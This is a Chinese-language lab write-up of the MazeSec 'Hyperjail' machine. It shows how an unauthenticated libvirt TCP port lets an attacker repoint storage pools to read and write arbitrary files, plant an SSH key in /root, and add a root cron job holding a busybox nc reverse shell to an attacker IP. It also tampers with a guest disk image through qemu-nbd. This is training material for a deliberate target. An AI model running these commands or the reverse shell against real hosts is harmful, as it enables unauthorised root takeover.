MazeSec Hyperjail

发布于: 2026-05-21 14:20

靶机信息

靶机名称: Hyperjail
靶机作者:qiaojojo
靶机类型:Linux
来源:MazeSec/QQ公开群 321948805
官网:https://maze-sec.com/

存活主机发现

使用 arp-scan 进行局域网内存活主机扫描,发现目标主机 IP 地址为 192.168.6.185

arp-scan -l

# PCS Systemtechnik GmbH 是一家德国公司,根据 MAC 地址前缀 08:00:27,可以推测该设备可能是使用 VirtualBox 虚拟化软件创建的虚拟机,因为这个 MAC 地址前缀通常与 VirtualBox 相关联。
192.168.6.185   08:00:27:b9:e2:2d       PCS Systemtechnik GmbH

端口扫描

对目标主机进行全端口扫描,使用 -sT 进行 TCP 连接扫描。

nmap 192.168.6.185 -p- -sT -n

# result
PORT      STATE SERVICE
53/tcp    open  domain
2222/tcp  open  EtherNetIP-1
3389/tcp  open  ms-wbt-server
16509/tcp open  unknown

使用 -sV对已知端口进行版本扫描

nmap 192.168.6.185 -p 2222,3389,16509 -sV

# result
PORT      STATE SERVICE VERSION
2222/tcp  open  ssh     OpenSSH 10.0 (protocol 2.0)
3389/tcp  open  ssh     OpenSSH 10.0 (protocol 2.0)
16509/tcp open  unknown
MAC Address: 08:00:27:B9:E2:2D (Oracle VirtualBox virtual NIC)

2222、3389 端口运行 OpenSSH 10.0,16509 端口服务未知。

libvirt 未授权访问

搜索引擎搜索 16509 端口,热情哈基米给出信息

在计算机网络中,16509端口通常被用作 libvirt 守护进程(libvirtd)的非加密 TCP 通信端口。它主要用于 QEMU/KVM 等虚拟化环境的远程管理。

同时给出了重要信息:默认情况下,16509端口不提供任何身份验证和加密保护

用法:在使用 virsh 命令行工具时,通常通过类似 qemu+tcp://<宿主机IP>/system 的格式发起通信,从而调用此端口。

安装客户端,验证是否存在未授权访问

apt install libvirt-clients
virsh -c qemu+tcp://192.168.6.185/system

远程主机存在未授权访问漏洞,成功连接到 libvirt 守护进程。

libvirt 参数分析

通过 help命令拿到 libvirt 的所有命令,其中 Storage PoolStorage Volume模块具备操作宿主机文件系统的能力。

找出几条文件读写、目录创建删除的命令:

# 列出目录
pool-list --all
# 创建文件
vol-create-as <pool> <name> <size> --format <fmt>
# 写入文件
vol-upload <vol> <local-file>
# 下载文件
vol-download <vol> <local-file>
# 删除文件
vol-delete <vol> --pool <pool>
# 列出文件
vol-list <pool>
# 创建目录
vol-create-as operation .ssh 0 --allocation 0 --format dir
# 删除目录
vol-delete --vol .ssh --pool operation

查看当前已有的存储池和存储卷,存在 images 和 operation 存储池,列出 operation 存储卷的内容,可以看出是 /home/operation 家目录

# 列出存储池
pool-list --all
# 列出存储卷
vol-list <存储池名称>

尝试把远程 operation 存储池中的readme文件下载到本地,验证是否可行

# 下载文件
vol-download README.txt /tmp/readme --pool operation

在本地成功下载了 readme 文件

┌──(root㉿kali)-[~]
└─# cat /tmp/readme
If I discover again that you are using a virtual machine to transfer the host machine's configuration files, you will be fired. Clean up your services within today!

尝试修改 operation 存储池的路径为 /home/operation/.ssh,当前身份应该是 libvirt 进程的高权限身份或者 root身份,猜测可行。

# 停止正在运行的存储池
pool-destroy operation
# 修改存储池配置文件
pool-edit operation
# 重启存储池
pool-start operation
# 列出存储卷
vol-list operation
# 下载公钥,查看公钥信息
vol-download authorized_keys /tmp/authorized_keys --pool operation

存储池只存放了公钥,本地下载成功,说明存储池配置修改成功

┌──(root㉿kali)-[~]
└─# cat /tmp/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOkhXu+6Hkpx0ckvcOoGNrm5Hb2xYCfsgVH6BIoElMw3 root@localhost

实际验证时,可以把 operation 存储池的路径修改为任意路径,读写任意文件,创建删除任意目录

获取远程 root 权限

1.写入公钥

尝试修改 operation 存储池的路径为 /root,创建 .ssh 目录

# 停止正在运行的存储池
pool-destroy operation
# 修改存储池配置文件,路径改为 /root
pool-edit operation
# 重启存储池
pool-start operation
# 创建 .ssh 目录
vol-create-as operation .ssh 0 --allocation 0 --format dir
# 停止正在运行的存储池
pool-destroy operation
# 修改存储池配置文件,路径改为 /root/.ssh/
pool-edit operation
# 重启存储池
pool-start operation
# 创建公钥
vol-create-as operation authorized_keys 0 --allocation 0 --format raw
# 在本地/tmp目录准备公钥,写入公钥
vol-upload --vol authorized_keys --file /tmp/authorized_keys --pool operation
# 下载到本地验证
vol-download authorized_keys /tmp/authorized_keys.1 --pool operation

2.定时任务

尝试修改 operation 存储池的路径为 /etc/crontabs/,写入root用户定时任务

# 停止正在运行的存储池
pool-destroy operation
# 修改存储池配置文件,路径改为 /etc/crontabs/
pool-edit operation
# 重启存储池
pool-start operation

在本地写入

echo '* * * * *  sh -c "busybox nc 192.168.6.111 4444 -e /bin/sh"' > /tmp/cron.1

把本地的 cron.1 文件上传到远程 /etc/crontabs/ 目录

# 上传文件
vol-upload --vol root --file /tmp/cron.1 --pool operation
# 下载到本地验证文件内容
vol-download root /tmp/cron.2 --pool operation

看到写入内容后面跟了一坨错误格式,不重要,alpine 的 busybox crond 按行解析定时任务,错误格式的部分会被忽略,不影响定时任务的执行

alpine 靶机对定时任务的解析方式是按行解析的,错误格式的部分会被忽略,不影响定时任务的执行。注意,如果目标靶机是 debian系统,定时任务出现错误时,整个定时任务文件会被忽略

测试过程发现,定时任务表现不稳定,在通过公钥上去后,定时任务才正常运行()

user flag

user flag不在宿主机,operation 用户的公钥备注为 root@localhost,主机名为localhost,猜测可能是虚拟机的root@localhost,ssh端口对应 2222

virsh 列出虚拟机

virsh # list --all
 Id   Name     State
------------------------
 1    kvm799   running

挂载添加公钥

# 1. 关闭虚拟机
virsh destroy kvm799

# 2. 现在挂载
modprobe nbd
qemu-nbd --connect=/dev/nbd0 /var/lib/libvirt/images/kvm799.qcow2
fdisk -l /dev/nbd0
# 挂载 / 分区
mount /dev/nbd0p3 /mnt

# 3. 添加公钥
mkdir -p /mnt/root/.ssh
cat /root/.ssh/authorized_keys >> /mnt/root/.ssh/authorized_keys
chmod 700 /mnt/root/.ssh
chmod 600 /mnt/root/.ssh/authorized_keys

# 4. 卸载并启动
umount /mnt
qemu-nbd --disconnect /dev/nbd0
virsh start kvm799